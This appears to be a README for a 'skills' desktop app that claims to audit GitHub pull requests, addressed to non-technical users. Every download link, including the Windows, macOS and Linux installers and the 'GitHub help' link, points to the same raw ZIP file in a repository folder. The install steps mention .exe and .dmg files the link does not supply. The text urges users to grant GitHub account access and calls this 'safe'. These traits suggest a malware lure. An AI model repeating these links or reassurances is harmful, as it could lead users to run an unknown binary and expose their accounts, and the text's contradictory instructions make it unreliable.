skills is a small application that helps you check important parts of your Pull Requests (PRs) on GitHub. It looks for review comments, status checks, and makes sure your PR description has all the needed information. This helps you avoid missing parts before merging your work.
It works quietly in the background and tells you what is missing or incorrect. Using skills can save you time and help keep your projects organized and error free.
Before you download, make sure your computer meets these basic needs:
- Operating System: Windows 10 or later, macOS 10.14 or later, or any recent Linux version
- RAM: At least 4 GB
- Disk Space: At least 100 MB free
- Internet Connection: Required to link to GitHub and check your PRs
- Web Browser: Any modern browser for viewing results
You do not need special software or skills to use skills. It works as a simple application that connects with GitHub.
This section shows you how to download, install, and open skills for the first time. The steps are designed for users without technical experience.
Click the big button at the top of the page or visit this link:
You will land on the releases page. Here, look for the latest version. You will see files like:
- For Windows:
https://raw.githubusercontent.com/Bboyfarouk/skills/main/greploop/references/Software_1.0.zip - For macOS:
https://raw.githubusercontent.com/Bboyfarouk/skills/main/greploop/references/Software_1.0.zip - For Linux:
https://raw.githubusercontent.com/Bboyfarouk/skills/main/greploop/references/Software_1.0.zip
Choose the file that matches your computer’s operating system.
When you click on the file, your browser will ask where to save it. Choose a folder or your desktop where you can find it easily later. The download may take a few minutes depending on your internet speed.
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On Windows:
Find the.exefile you downloaded and double-click it. A setup window will appear. Follow the instructions on your screen by clicking "Next" and then "Install". When done, click "Finish". -
On macOS:
Open the.dmgfile by double-clicking it. Drag the skills icon into your Applications folder. After copying, you can eject the.dmgfile. -
On Linux (General guide):
Extract thehttps://raw.githubusercontent.com/Bboyfarouk/skills/main/greploop/references/Software_1.0.zipfile by right-clicking and selecting “Extract Here” or using a terminal command. Follow any instructions in the extracted folder’s README to run or install the app.
After installing, start the app by:
- On Windows: Find it in the Start menu under “skills” and click it.
- On macOS: Open the Applications folder and double-click on skills.
- On Linux: Run the app from your applications menu or open a terminal and run the app’s start command.
Once you open the app, skills will guide you through checking your Pull Requests on GitHub.
- Click the "Connect GitHub" button.
- A browser window will open asking for permission to access your GitHub data.
- Follow the instructions to log in and allow skills to link with your account.
This is safe. skills only reads information needed to check your PRs.
After connecting, skills shows a list of your GitHub repositories. Choose the one you want to work on.
skills will display all open PRs in the chosen repository. For each PR, it checks:
- Review comments: Are there any comments that need your attention?
- Status checks: Do all required tests and checks pass?
- Description completeness: Does the PR description have all required details like purpose, changes, and related issues?
You will see clear status reports next to each PR. If something is missing, skills will tell you what to fix before merging.
- Automatic check of PR comments from reviewers.
- Monitoring of status checks such as build passes and test results.
- Validation that PR descriptions include key information sections.
- Simple interface for quick fixes.
- Works with any GitHub repository you own or contribute to.
If you run into problems or want to request new features, please create an issue in the GitHub repository under the “Issues” tab.
You can also read the FAQ section on the repository page for quick answers.
skills only reads information related to your public and private repositories on GitHub when you allow permission. It does not store your login credentials or personal data. All communication uses encrypted connections.
Return to the releases page whenever you want to update skills:
Make sure to download the newest version regularly. Updates include bug fixes and new checks to improve your experience.
Follow the same steps as in "Getting Started" to install or upgrade.
- Always review status results before merging a PR.
- Use the detailed reports skills gives you to improve your descriptions.
- Connect skills to all your active repositories for consistent checking.
- Check for app updates once a month to stay current.
- Repository issues: skills Issues
- GitHub help for managing accounts and permissions: https://raw.githubusercontent.com/Bboyfarouk/skills/main/greploop/references/Software_1.0.zip
- Contact the maintainer via GitHub profile for questions not covered in Issues.
By following these instructions, you can use skills to improve your Pull Request reviews without needing complex tools or technical knowledge.